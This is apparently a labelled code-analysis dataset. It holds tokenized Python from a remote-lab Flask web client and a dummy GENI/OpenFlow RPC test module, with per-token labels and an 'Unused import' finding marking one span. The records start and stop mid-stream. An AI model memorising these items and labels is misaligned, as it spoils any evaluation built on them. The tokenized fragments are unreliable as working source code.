"flash_", "(_", "gettext_", "(_", "\"", "Experiment", " ", "doe", "s", " ", "not", " ", "exist", "\"_", ")_", ",_", "'", "danger", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "labs", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "\"", "webc", "lien", "t", "/", "lab", ".", "html", "\"_", ",_", "experiment_", "=_", "experiment_", ",_", "federated", "\\u", "mode_", "=_", "federated", "\\u", "mode_", ",_", "back", "\\u", "url_", "=_", "back", "\\u", "url_", ",_", "federated", "\\u", "reserva", "tion", "\\u", "id_", "=_", "federated", "\\u", "reserva", "tion", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "\"/", "demo", "s", "/", "labs", "/", "<", "category", "\\u", "name", ">/", "<", "experiment", "\\u", "name", ">/", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "demo", "\\u", "lab_", "(_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "list_", "=_", "webla", "b", "\\u", "api_", "._", "api_", "._", "list", "\\u", "experiments_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Sess", "ion", "Not", "Foun", "d", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "._", "next", "\\u", "url_", "=_", "url", "\\u", "for_", "(_", "'.", "lab", "'_", ",_", "category", "\\u", "name_", "=_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", "=_", "experiment", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "demo_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "gettext_", "(_", "\"", "Error", " ", "process", "ing", " ", "request", "\"_", ")_", ",_", "'", "danger", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "labs", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "User", " ", "is", " ", "logged", " ", "in", " ", "and", " ", "has", " ", "permissions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "lab", "'_", ",_", "category", "\\u", "name_", "=_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", "=_", "experiment", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "'/", "demo", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "demo", "s", "\\u", "index_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "demo", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "'/", "demo", "s", "/", "labs", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "demo", "s", "\\u", "index", "\\u", "labs", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "demo", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "'/", "demo", "s", "/", "labs", "/", "<", "category", "\\u", "name", ">/", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "demo", "s", "\\u", "index", "\\u", "labs", "\\u", "category_", "(_", "category", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "demo", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "\"/", "labs", "/", "<", "category", "\\u", "name", ">/", "<", "experiment", "\\u", "name", ">/", "config", ".", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lab", "\\u", "config_", "(_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "config_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment_", "=_", "webla", "b", "\\u", "api_", "._", "db_", "._", "get", "\\u", "experiment_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "experiment_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "hook", "\\u", "nativ", "e\\u", "experiments_", "(_", "experiment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "experiment", "\\u", "config_", "=_", "experiment_", "._", "client_", "._", "configuration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "scripts_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "for_", "(_", "'.", "static", "'_", ",_", "filename_", "=_", "'", "js", "/", "iframe", "Resize", "r", ".", "content", "Window", ".", "min", ".", "js", "'_", ",_", "\\u", "external_", "=_", "True_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "locale_", "=_", "get", "\\u", "locale_", "(_", ")_", "._", "language_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "webla", "b", "\\u", "api_", "._", "jsonify_", "(_", "locale_", "=_", "locale_", ",_", "target", "URL_", "=_", "url", "\\u", "for_", "(_", "'", "json", ".", "service", "\\u", "url", "'_", ")_", ",_", "file", "Upload", "URL_", "=_", "url", "\\u", "for_", "(_", "'", "core", "\\u", "web", ".", "upload", "'_", ")_", ",_", "scripts_", "=_", "scripts_", ",_", "config_", "=_", "experiment", "\\u", "config_", ",_", "current", "URL_", "=_", "webla", "b", "\\u", "api_", "._", "core", "\\u", "server", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "\"/", "labs", "/", "<", "category", "\\u", "name", ">/", "<", "experiment", "\\u", "name", ">/", "late", "st", "\\u", "use", "s", ".", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "late", "st", "\\u", "uses_", "(_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uses_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "use_", "in_", "webla", "b", "\\u", "api_", "._", "api_", "._", "get", "\\u", "late", "st", "\\u", "use", "s", "\\u", "per", "\\u", "lab_", "(_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current", "\\u", "use_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "\\u", "date", "'_", ":_", "use_", "[_", "'", "start", "\\u", "date", "'_", "]_", "._", "strftime_", "(_", "'%", "Y", "-%", "m", "-%", "d", " ", "%", "H", ":", "%", "M", ":", "%", "SZ", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "'_", ":_", "url", "\\u", "for_", "(_", "'", "accesse", "s", ".", "deta", "il", "'_", ",_", "id_", "=_", "use_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "use_", "[_", "'", "countr", "y", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current", "\\u", "use_", "[_", "'", "location", "'_", "]_", "=_", "'{", "0", "}", " ", "({", "1", "})'_", "._", "format_", "(_", "use_", "[_", "'", "countr", "y", "'_", "]_", ",_", "use_", "[_", "'", "orig", "in", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current", "\\u", "use_", "[_", "'", "location", "'_", "]_", "=_", "use_", "[_", "'", "orig", "in", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "uses_", "._", "append_", "(_", "current", "\\u", "use_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "webla", "b", "\\u", "api_", "._", "jsonify_", "(_", "uses_", "=_", "uses_", "[_", ":_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "\"/", "labs", "/", "<", "category", "\\u", "name", ">/", "<", "experiment", "\\u", "name", ">/", "stats", ".", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lab", "\\u", "stats_", "(_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "list_", "=_", "webla", "b", "\\u", "api_", "._", "api_", "._", "list", "\\u", "experiments_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "exp", "\\u", "allowed_", "in_", "experiment", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "exp", "\\u", "allowed_", "._", "experiment_", "._", "name_", "==_", "experiment", "\\u", "name_", "and_", "exp", "\\u", "allowed_", "._", "experiment_", "._", "category_", "._", "name_", "==_", "category", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "found_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "experiment", "\\u", "found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stats_", "=_", "webla", "b", "\\u", "api_", "._", "db_", "._", "get", "\\u", "experiment", "\\u", "stats_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "[_", "'", "status", "'_", "]_", "=_", "'", "onli", "ne", "'_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "webla", "b", "\\u", "api_", "._", "jsonify_", "(_", "stats_", "=_", "stats_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fp7-ofelia/ocf/expedient/src/python/expedient_geni/gopenflow/tests/rpc.py
[ { "content": "'''\nCreated on Oct 6, 2010\n\n@author: jnaous\n'''\nfrom expedient.common.rpc4django import rpcmethod\nimport xmlrpclib\nimport logging\nfrom geni import CredentialVerifier\nfrom django.conf import settings\nfrom decorator import decorator\nfrom openflow.plugin.gapi import gapi\nfrom expedient.clearinghouse.slice.models import Slice\nfrom expedient_geni.gopenflow.tests.models import DummyOFAggregate\n\nlogger = logging.getLogger(\"openflow.plugin.gapi.rpc\")\n\n# Parameter Types\nCREDENTIALS_TYPE = 'array' # of strings\nOPTIONS_TYPE = 'struct'\nRSPEC_TYPE = 'string'\nVERSION_TYPE = 'struct'\nURN_TYPE = 'string'\nSUCCESS_TYPE = 'boolean'\nSTATUS_TYPE = 'struct'\nTIME_TYPE = 'string'\n\n# SFA permissions mapping\nPRIVS_MAP = dict(\n ListResources=(),\n RenewSliver=('renewsliver',),\n CreateSliver=('createsliver',),\n DeleteSliver=('deleteslice',),\n SliverStatus=('getsliceresources',),\n)\n\n\n \n\n\n\n\n\n \n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def no_such_slice(slice_urn):\n \"Raise a no such slice exception.\"\n fault_code = 'No such slice.'\n fault_string = 'The slice named by %s does not exist' % (slice_urn)\n raise xmlrpclib.Fault(fault_code, fault_string)", "metadata": "root.no_such_slice", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def require_creds(use_slice_urn):\n \"\"\"Decorator to verify credentials\"\"\"\n def require_creds(func, *args, **kw):\n \n logger.debug(\"Checking creds\")\n \n client_cert = kw[\"request\"].META[\"SSL_CLIENT_CERT\"]\n\n if use_slice_urn:\n slice_urn = args[0]\n credentials = args[1]\n else:\n slice_urn = None\n credentials = args[0]\n \n cred_verifier = CredentialVerifier(settings.GCF_X509_TRUSTED_CERT_DIR)\n \n cred_verifier.verify_from_strings(\n client_cert, credentials,\n slice_urn, PRIVS_MAP[func.func_name])\n\n logger.debug(\"Creds pass\")\n \n return func(*args, **kw)\n \n return decorator(require_creds)", "metadata": "root.require_creds", "header": "['module', '___EOS___']", "index": 42 }, { "content": "@rpcmethod(signature=['string', 'string'], url_name=\"dummy_gopenflow\")\ndef ping(str, **kwargs):\n return \"PONG: %s\" % str", "metadata": "root.ping", "header": "['module', '___EOS___']", "index": 69 }, { "content": "@rpcmethod(signature=[VERSION_TYPE], url_name=\"dummy_gopenflow\")\ndef GetVersion(**kwargs):\n logger.debug(\"Called GetVersion\")\n return gapi.GetVersion()", "metadata": "root.GetVersion", "header": "['module', '___EOS___']", "index": 73 }, { "content": "@rpcmethod(signature=[RSPEC_TYPE, CREDENTIALS_TYPE, OPTIONS_TYPE],\n url_name=\"dummy_gopenflow\")\n@require_creds(False)\ndef ListResources(credentials, options, **kwargs):\n logger.debug(\"Called ListResources\")\n return DummyOFAggregate.objects.all()[0].adv_rspec", "metadata": "root.ListResources", "header": "['module', '___EOS___']", "index": 78 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[RSPEC_TYPE, URN_TYPE, CREDENTIALS_TYPE, OPTIONS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef CreateSliver(slice_urn, credentials, rspec, users, **kwargs):\n logger.debug(\"Called CreateSliver for user %s\" % kwargs[\"request\"].user)\n agg = DummyOFAggregate.objects.all()[0]\n agg.resv_rspec = rspec\n agg.save()\n return rspec", "metadata": "root.CreateSliver", "header": "['module', '___EOS___']", "index": 85 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[SUCCESS_TYPE, URN_TYPE, CREDENTIALS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef DeleteSliver(slice_urn, credentials, **kwargs):\n logger.debug(\"Called DeleteSliver\")\n agg = DummyOFAggregate.objects.all()[0]\n agg.resv_rspec = None\n agg.save()\n return True", "metadata": "root.DeleteSliver", "header": "['module', '___EOS___']", "index": 95 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[STATUS_TYPE, URN_TYPE, CREDENTIALS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef SliverStatus(slice_urn, credentials, **kwargs):\n logger.debug(\"Called SliverStatus\")\n return {}", "metadata": "root.SliverStatus", "header": "['module', '___EOS___']", "index": 105 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[SUCCESS_TYPE, URN_TYPE, CREDENTIALS_TYPE, TIME_TYPE],\n url_name=\"dummy_gopenflow\")\ndef RenewSliver(slice_urn, credentials, expiration_time, **kwargs):\n return True", "metadata": "root.RenewSliver", "header": "['module', '___EOS___']", "index": 112 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[SUCCESS_TYPE, URN_TYPE, CREDENTIALS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef Shutdown(slice_urn, credentials, **kwargs):\n return True", "metadata": "root.Shutdown", "header": "['module', '___EOS___']", "index": 118 } ]
[ { "span": "from expedient.clearinghouse.slice.models import Slice", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 54 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "\\", "10", ";", "Creat", "ed", " ", "on", " ", "Oct", " ", "6", ",", " ", "2010", "\\", "10", ";", "\\", "10", ";", "@", "author", ":", " ", "jn", "ao", "us", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "expe", "die", "nt_", "._", "common_", "._", "rpc", "4d", "jan", "go_", "import_", "rpc", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "xmlrpclib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "geni", "_", "import_", "Cred", "ential", "Verifie", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decorator_", "import_", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "plugin_", "._", "gap", "i_", "import_", "gap", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "expe", "die", "nt_", "._", "clear", "ing", "house_", "._", "slice_", "._", "models_", "import_", "Slice_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "expe", "die", "nt", "\\u", "geni", "_", "._", "gop", "enf", "low_", "._", "tests_", "._", "models_", "import_", "Du", "mm", "y", "OF", "Aggregate", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "openf", "low", ".", "plugin", ".", "gap", "i", ".", "rpc", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Parameter", " ", "Types_", "\\u\\u\\uNL\\u\\u\\u_", "CREDENTIALS", "\\u", "TYPE_", "=_", "'", "array", "'_", "#", " ", "of", " ", "strings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "OPTION", "S", "\\u", "TYPE_", "=_", "'", "struct", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RS", "PEC", "\\u", "TYPE_", "=_", "'", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VERSI", "ON", "\\u", "TYPE_", "=_", "'", "struct", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "URN", "\\u", "TYPE_", "=_", "'", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SUCCESS", "\\u", "TYPE_", "=_", "'", "boolean", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "STATUS", "\\u", "TYPE_", "=_", "'", "struct", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TIME", "\\u", "TYPE_", "=_", "'", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SF", "A", " ", "permissi", "ons", " ", "mapping_", "\\u\\u\\uNL\\u\\u\\u_", "PRIV", "S", "\\u", "MAP_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "List", "Resources_", "=_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Ren", "ew", "Sli", "ver_", "=_", "(_", "'", "renew", "sli", "ver", "'_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Creat", "e", "Sli", "ver_", "=_", "(_", "'", "create", "sli", "ver", "'_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Delete", "Sli", "ver_", "=_", "(_", "'", "delete", "slice", "'_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sli", "ver", "Status_", "=_", "(_", "'", "gets", "lice", "resource", "s", "'_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "no", "\\u", "suc", "h", "\\u", "slice_", "(_", "slice", "\\u", "urn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Rai", "se", " ", "a", " ", "no", " ", "suc", "h", " ", "slice", " ", "exception", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fault", "\\u", "code_", "=_", "'", "No", " ", "suc", "h", " ", "slice", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fault", "\\u", "string_", "=_", "'", "The", " ", "slice", " ", "named", " ", "by", " ", "%", "s", " ", "doe", "s", " ", "not", " ", "exist", "'_", "%_", "(_", "slice", "\\u", "urn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "xmlrpclib_", "._", "Fault_", "(_", "fault", "\\u", "code_", ",_", "fault", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "require", "\\u", "creds_", "(_", "use", "\\u", "slice", "\\u", "urn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Decorat", "or", " ", "to", " ", "verify", " ", "cred", "ential", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "require", "\\u", "creds_", "(_", "func_", ",_", "*_", "args_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "Check", "ing", " ", "creds", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "client", "\\u", "cert_", "=_", "kw_", "[_", "\"", "request", "\"_", "]_", "._", "META_", "[_", "\"", "SS", "L", "\\u", "CLIENT", "\\u", "CERT", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "use", "\\u", "slice", "\\u", "urn_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice", "\\u", "urn_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credentials_", "=_", "args_", "[_", "1_", "]_", 